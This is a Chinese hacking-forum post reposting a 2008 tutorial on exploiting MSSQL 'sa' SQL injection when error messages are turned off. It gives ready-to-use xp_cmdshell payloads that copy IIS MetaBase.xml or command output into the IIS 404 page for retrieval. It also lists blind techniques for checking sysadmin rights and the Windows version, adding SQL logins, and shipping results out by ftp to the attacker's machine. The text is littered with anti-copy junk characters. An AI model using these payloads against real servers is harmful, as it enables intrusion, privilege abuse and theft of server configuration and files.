找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2064|回复: 0
打印 上一主题 下一主题

28度的冰注入技巧之(一)——404页面的妙用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:15:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。5 w7 F) t+ g) _" W' V) P, h, l( _) P
1 _2 D# s- d+ R' t8 E- K! R3 c  c' \" I. }
  虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。& y& ~9 _0 v# _
2 f) x. V' P) L9 [, ~" S. X( W
  这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
/ k' r$ L' a+ y1 e5 l( L/ p+ L% l/ x+ {+ q: n+ Z
  IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
. O2 s6 ^, V% l9 D3 [5 g6 h* t- i/ D- C+ a# S/ P; z0 ]
  得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
  L$ C7 C/ @0 n- W* z: {4 M2 P8 f- s) J3 A) s& ?; k7 B
  ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。& A/ v8 j7 w& A

- u$ ]  E9 q3 D, q1 p+ G  执行命令得到回显
  V* g5 Z, P- H4 A- ~; t$ v" X7 A/ O0 s- z% s. c/ s
  通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--- X/ d( s, G1 ^6 z  }3 d

2 a) X: ?6 T& C  得到文件也shi相同,把文件copy到404b.htm就行了; O0 {2 O1 C+ s" n' \3 k! t
0 P: B  Y; y0 ~4 N$ E% f
  by 28ice, 2008/6/26* U. W6 l  {3 a3 w# a3 b

6 |7 [5 Y: `* U( \  b& ~  摘自 28度的冰
2 W4 A5 j& T* ~- ~8 [2 d
, Y% R; e6 }6 @1 [  盲注判断权限和操作系统版本  r* l2 j. J/ X, a

* F/ \: P1 e+ h  ^# _4 G3 z/ {  首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
2 _- P4 _4 p% v4 b: w" ~/ ?5 K: w% {# W5 h1 g( o
  最简单的,可能以用这样的方法:) K& U0 n+ o" D8 b* z" e
5 H2 \2 e& a. B. @8 d4 Q5 m! M
  1=(select IS_SRVROLEMEMBER(’sysadmin’))4 y0 Y8 W; ], R" A1 K: [

- K9 |. w7 x* }5 }. U- X: y1 @$ F  当然,有些情况下,这个方法并不奏效。
/ E0 Z) k9 b! R" m! O+ u  l
7 b( I; l% X0 A8 I  既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。0 I" x$ D  m4 T  L7 p
: M5 K' U, ~# w* Z8 P* J# c( O
  有个3办法可能以解决这个问题/ r6 m+ }' [0 P; y/ k- Y; |

5 p! A# H2 S. R7 R/ Y) }' i  a.把执行结果写到404b.htm,具体请看我的上一篇文章
6 R% J0 K9 ~4 u4 K/ R2 `. D
3 l. n( H/ y- V' u& `  b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
$ c1 Q, Y2 ]0 S0 f! V$ v5 o! }
( r( H! R9 J1 ^  L  c.如果1433端口可能以连接,那干脆新建个sql登录
& }0 C/ n  D$ R' f- R: p  m7 P& w& `. `9 A9 B
  d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
# F- r; q: `% w  L+ o
8 ?8 F0 \/ Z; R1 h  还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
3 P- B' H( a2 E. L8 i
; t: t2 a7 f* z  很简单  b/ q5 {6 t  H1 D

; C2 B) G  C! U& l. K% v  执行systeminfo4 T/ k  I8 X! g( o  p9 |

8 s) q8 F, d) A# w2 C  在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表